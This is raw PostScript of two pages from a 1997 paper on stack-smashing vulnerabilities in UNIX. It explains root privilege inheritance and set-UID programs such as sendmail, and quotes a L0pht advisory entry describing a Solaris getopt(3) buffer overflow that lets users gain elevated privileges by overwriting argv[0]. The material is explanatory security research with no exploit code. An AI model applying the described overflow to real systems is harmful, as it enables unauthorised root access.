to become superusers.\224 [6],\(82\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4934 M -0.100 0 (E)A -0.400 0 (ac)A 14.000 0 32 (h p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 13.800 0 32 0.200 0 (m )D -0.300 0 (\()A (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A 14.300 0 32 -0.300 0 (\) )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d b)W 17.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (oo)S 13.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (i)A (nh)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (it)A 13.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (oo)S 13.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (')A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (ll)A -0.300 0 (-)A 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (l)A (u)S 0.100 0 (s)A 0.200 0 (i)A (v)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5111 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 19.000 0 32 (. )W -2.300 0 (I)A 19.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 18.800 0 32 0.200 0 (t )D -0.400 0 (ca)A 0.100 0 (s)A -0.400 0 (e)A 18.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nh)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (it)A -0.400 0 (e)A 19.000 0 32 (d p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 19.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 18.900 0 32 0.100 0 (s s)D (ub)S 0.100 0 (s)A -0.400 0 (e)A (qu)S -0.400 0 (e)A (n)S 0.200 0 (tl)A 22.000 0 32 -3.000 0 (y )D (p)S -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 19.000 0 32 (d )W 0.200 0 (t)A 19.000 0 32 (o o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 20.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5288 M -0.200 0 (spawned by root's running processes.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5465 M 0.400 0 (S)A -0.400 0 (e)A 6.800 0 32 0.200 0 (t )D -0.200 0 (U)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (D )D -0.300 0 (\()A 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A -0.200 0 (D)A 7.300 0 32 -0.300 0 (\) )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 7.900 0 32 0.100 0 (s )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2417 5465 M -0.200 0 (UN)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 9.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 7.800 0 32 0.200 0 (m )D -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A (n)S 7.800 0 32 0.200 0 (t )D 8.400 0 32 -0.400 0 (a )D (u)S 0.100 0 (s)A -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5642 M -0.300 0 (r)A 6.000 0 32 (un p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 5.900 0 32 0.100 0 (s )D (o)S 6.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 6.800 0 32 0.200 0 (ll )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (p)S 0.200 0 (t)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A (no)S 0.200 0 (t)A (h)S -0.400 0 (e)A 7.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 7.000 0 32 (. )W 0.600 0 (W)A (h)S -0.400 0 (e)A 7.000 0 32 (n )W -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 7.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 6.800 0 32 0.200 0 (m )D (o)S 7.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (h)S -0.400 0 (e)A 6.800 0 32 0.200 0 (ll )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (p)S 6.800 0 32 0.200 0 (t i)D 7.000 0 32 (n )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 511 500 3982 1817 rc 0 0 0 sco %%IncludeFont: Courier-Bold (F8) cvn 0.836 (Courier-Bold) cvn /Type1 T (Courier-Bold) cvn mF (F8_67) cvn F8 67 xF F8_67 Ji 612 514 M -0.200 0 (http://www.l0pht.com/advisories.html)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 122 rr : 0 0 0 sco O ; 4412 506 N M 6 122 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco %%IncludeFont: Courier (F10) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F10_67) cvn F10 67 xF F10_67 Ji 612 628 M -0.200 0 (Author: mudge@l0pht.com)A ; 586 628 N M 6 107 rr : 0 0 0 sco O ; 4412 628 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 735 M -0.200 0 (Release)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 1212 735 M -0.200 0 (Application)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2112 735 M -0.200 0 (Platforms)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 735 M -0.200 0 (Severity)A ; 586 735 N M 6 107 rr : 0 0 0 sco O ; 4412 735 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 842 M -0.200 0 ( 1/14/97 Dynamically linked)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 842 M -0.200 0 (Users can exploit a proble, in)A ; 586 842 N M 6 107 rr : 0 0 0 sco O ; 4412 842 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 949 M -0.200 0 ( SUID programs calling)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 949 M -0.200 0 (Solaris SUID programs that use)A ; 586 949 N M 6 107 rr : 0 0 0 sco O ; 4412 949 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1056 M -0.200 0 ( getopt\(3\) Solaris OS)A ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 1056 M -0.200 0 (getopt\(3\) to obtain elevated)A ; 586 1056 N M 6 107 rr : 0 0 0 sco O ; 4412 1056 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 2712 1163 M -0.200 0 (privileges)A ; 586 1163 N M 6 107 rr : 0 0 0 sco O ; 4412 1163 N M 6 107 rr : 0 0 0 sco O ; 586 1270 N M 6 107 rr : 0 0 0 sco O ; 4412 1270 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1377 M -0.200 0 32 ( )W 7.000 0 32 -0.200 0 (Scenario: A buffer overflow condition)D 7.800 0 32 ( )W 8.000 0 32 -0.200 0 (exists in the getopt routine. By supplying an invalid)D ; 586 1377 N M 6 107 rr : 0 0 0 sco O ; 4412 1377 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1484 M 18.000 0 32 -0.200 0 (option and replacing argv[0] of a SUID)D 18.800 0 32 ( )W 19.000 0 32 -0.200 0 (program that uses the getopt\(3\) function with the)D ; 586 1484 N M 6 107 rr : 0 0 0 sco O ; 4412 1484 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1591 M 1.000 0 32 -0.200 0 (appropriate address and machine code instructions, it)D 1.800 0 32 ( )W 2.000 0 32 -0.200 0 (is possible to overwrite the saved stack)D ; 586 1591 N M 6 107 rr : 0 0 0 sco O ; 4412 1591 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1698 M 4.000 0 32 -0.200 0 (frame and upon return force the)D 4.800 0 32 ( )W 5.000 0 32 -0.200 0 (processor to execute user supplied instructions with elevated)D ; 586 1698 N M 6 107 rr : 0 0 0 sco O ; 4412 1698 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 1805 M -0.200 0 (permissions.)A ; 586 1805 N M 6 107 rr : 0 0 0 sco O ; 4412 1805 N M 6 107 rr : 0 0 0 sco O ; 586 1912 N M 6 107 rr : 0 0 0 sco O ; 4412 1912 N M 6 107 rr : 0 0 0 sco O ; : 511 500 3982 1817 rc 0 0 0 sco F10_67 Ji 612 2019 M -0.200 0 ( Solaris Libc Vulnerability.)A ; 586 2019 N M 6 107 rr : 0 0 0 sco O ; 4412 2019 N M 6 107 rr : 0 0 0 sco O ; 586 2311 N M 6 6 rr : 0 0 0 sco O ; 586 2311 N M 6 6 rr : 0 0 0 sco O ; 592 2311 N M 3820 6 rr : 0 0 0 sco O ; 4412 2311 N M 6 6 rr : 0 0 0 sco O ; 4412 2311 N M 6 6 rr : 0 0 0 sco O ; 586 2126 N M 6 185 rr : 0 0 0 sco O ; 4412 2126 N M 6 185 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 8 ]%%) = %%PageTrailer %%Page: 9 9 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (9)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 3.000 0 32 (, )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 2.900 0 32 0.100 0 (ss )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 3.800 0 32 0.200 0 (m )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 4.000 0 32 (on )W 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D (u)S 0.100 0 (s)A (u)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A 19.000 0 32 (d b)W 22.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 19.300 0 32 -0.300 0 (r )D -0.200 0 (w)A 19.000 0 32 (ho )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 20.000 0 32 (d )W 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 20.000 0 32 (. )W -0.200 0 (U)A 0.100 0 (s)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 20.400 0 32 -0.400 0 (a )D (un)S 0.200 0 (i)A (qu)S 20.400 0 32 -0.400 0 (e )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 20.000 0 32 (on b)W 19.800 0 32 0.200 0 (it t)D 20.000 0 32 (o )W 0.200 0 (i)A (nd)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A -0.200 0 (D)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m i)D (nd)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D 0.200 0 (t)A 2.000 0 32 (o )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 3.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m t)D (h)S -0.400 0 (a)A 1.800 0 32 0.200 0 (t t)D (h)S 2.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 1.800 0 32 0.200 0 (m )D -0.200 0 (w)A 1.800 0 32 0.200 0 (ill )D -0.300 0 (r)A 3.000 0 32 (un und)W -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A -0.300 0 (r\222)A 2.900 0 32 0.100 0 (s )D -2.300 0 (I)A 3.200 0 32 -0.200 0 (D )D -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A (h)S -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r\222)A 2.900 0 32 0.100 0 (s )D -2.300 0 (I)A 3.200 0 32 -0.200 0 (D w)D 3.000 0 32 (ho )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 4.000 0 32 (. )W -0.200 0 (O)A -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (n )W 0.200 0 (tim)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 4.200 0 32 -0.200 0 (D )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A 2.000 0 32 (d b)W 5.000 0 32 -3.000 0 (y )D -0.300 0 (r)A (oo)S 1.800 0 32 0.200 0 (t; )D -0.200 0 (w)A (h)S 0.200 0 (il)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 1.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 5.000 0 32 -3.000 0 (y )D (b)S 2.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 2.400 0 32 -0.400 0 (e )D (b)S 5.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 2.000 0 32 (n und)W -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 2.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D 2.000 0 32 (on )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.184 0 (system, they run in memory with unrestricted access to the system. For Example:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2194 2041 M 0.035 0 (SUID example 4.a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2188 M -0.400 0 (a)A 8.000 0 32 (n )W -0.800 0 (")A 0.100 0 (s)A 8.800 0 32 -0.800 0 (" )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 8.400 0 32 -0.400 0 (e )D (po)S -0.300 0 (r)A 0.200 0 (ti)A 8.000 0 32 (on o)W 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -1.000 0 (')A -0.200 0 (w)A (o)S -0.300 0 (r)A 0.200 0 (l)A (d)S 10.000 0 32 -1.000 0 (' )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 9.000 0 32 (on b)W 0.200 0 (l)A (o)S -0.400 0 (c)A 9.000 0 32 (k )W 0.200 0 (i)A (nd)S 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t t)D (h)S 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F5) cvn 0.783 (Courier) cvn /Type1 T (Courier) cvn mF (F5_83) cvn F5 83 xF F5_83 Ji 3992 2213 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2365 M -0.300 0 (f)A 0.200 0 (il)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 8.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A 7.800 0 32 0.200 0 (t )D -0.200 0 (U)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (D )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 8.000 0 32 (, )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1498 2390 M 0.200 0 (root)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1698 2365 M 8.000 0 32 ( )W 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (o)S -0.200 0 (w)A (n)S -0.400 0 (e)A 8.300 0 32 -0.300 0 (r )D (o)S 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 8.000 0 32 (. )W 8.200 0 32 -0.200 0 (A )D -0.300 0 (f)A 0.200 0 (il)A 8.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (u)S -0.400 0 (c)A 8.000 0 32 (h )W -0.400 0 (a)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 8.000 0 32 (n )W -0.400 0 (ca)A 0.200 0 (ll)A -0.400 0 (e)A 9.000 0 32 (d )W -0.800 0 (")A 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A -0.200 0 (D)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2542 M -0.300 0 (r)A (oo)S 0.200 0 (t)A (.)S 5.800 0 32 -0.800 0 (" )D 6.000 0 32 ( )W -0.700 0 (B)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1462 2567 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1862 2542 M 6.000 0 32 ( )W -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 6.000 0 32 (n unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t )D (und)S -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 6.300 0 32 -0.300 0 (r )D 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A (po)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (il)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2719 M (u)S 0.100 0 (s)A -0.400 0 (e)A 9.900 0 32 0.100 0 (s )D -0.300 0 (r)A (oo)S 0.200 0 (t)A -1.000 0 (')A 9.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 10.000 0 32 (o )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A 10.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 1913 2744 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2313 2719 M 10.000 0 32 (. )W 11.000 0 32 ( )W -0.100 0 (T)A (h)S 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D 0.200 0 (i)A 10.900 0 32 0.100 0 (s )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 14.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 11.000 0 32 (n o)W -0.300 0 (r)A (d)S -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 11.000 0 32 (o )W -0.400 0 (a)A 0.200 0 (ll)A (o)S 11.200 0 32 -0.200 0 (w )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_83 Ji 3878 2744 M 0.200 0 (sendmail)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4278 2719 M 11.000 0 32 ( )W 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2896 M (upd)S -0.400 0 (a)A 0.200 0 (t)A 2.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D (o)S 2.300 0 32 -0.300 0 (r )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r\222)A 1.900 0 32 0.100 0 (s )D -0.300 0 (f)A 0.200 0 (il)A -0.400 0 (e)A 0.100 0 (s)A 2.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (h)S 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 2.000 0 32 (n und)W -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 2.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (do)S -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D (no)S 1.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A (v)S 2.400 0 32 -0.400 0 (e acce)D 1.900 0 32 0.100 0 (ss )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3073 M 7.000 0 32 (do b)W 10.000 0 32 -3.000 0 (y )D (d)S -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (a)A (u)S 0.200 0 (lt)A 7.000 0 32 (. )W -0.200 0 (A)A 6.900 0 32 0.100 0 (s )D (on)S 7.400 0 32 -0.400 0 (e ca)D 7.000 0 32 (n )W 0.100 0 (s)A -0.400 0 (ee)A 7.000 0 32 (, )W 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 6.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D (u)S 0.100 0 (s)A -0.400 0 (e)A 7.000 0 32 (d )W 